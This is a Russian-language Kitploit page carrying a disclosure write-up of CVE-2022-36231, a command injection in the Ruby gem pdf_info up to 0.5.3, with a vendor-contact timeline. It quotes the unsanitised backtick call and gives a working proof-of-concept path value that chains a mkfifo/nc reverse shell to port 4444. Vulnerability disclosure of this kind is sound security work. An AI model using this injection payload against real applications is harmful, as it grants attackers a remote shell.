Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 OS Command Injection | Kitploit
Инструменты/GitHubGitHub/affix/cve-2022-36231
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 OS Command Injection

Репозиторий
533 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-36231

Ruby gem pdf_info <= 0.5.3 уязвим для внедрения команд ОС при выполнении метода над объектом PDF::Info.

Злоумышленник, используя специально сформированную нагрузку, может выполнять команды ОС с помощью объединения команд (command chaining).

Анализ уязвимости

При создании нового объекта PDF::Info вызывается метод initialize:

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

Во время инициализации объекта проверка не выполняется, и используется предоставленный пользователем путь.

Мы можем создать объект PDF::Info и получить метаданные PDF с помощью следующего кода:

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

Когда мы вызываем метод metadata на объекте PDF::Info, происходит вызов метода process_output с аргументом, которым является метод command.

Метод command использует переменную класса @pdf_info для выполнения команды pdfinfo в системе с помощью следующего фрагмента кода, чтобы вернуть вывод команды:

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

Как и в методе initialize, для переменной @pdf_path не выполняется проверка. Это позволяет нам использовать объединение команд с помощью ; для выполнения произвольной команды:

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

Приведенный выше фрагмент кода выполнит reverse shell на 127.0.0.1 порт 4444.

Shell

Детали раскрытия

  • 2022-07-20 :: Сообщено поставщику
  • 2022-08-30 :: Повторный контакт с поставщиком
  • 2022-09-30 :: Заявка на CVE
  • 2022-10-26 :: Публикация уязвимости
Скачать инструмент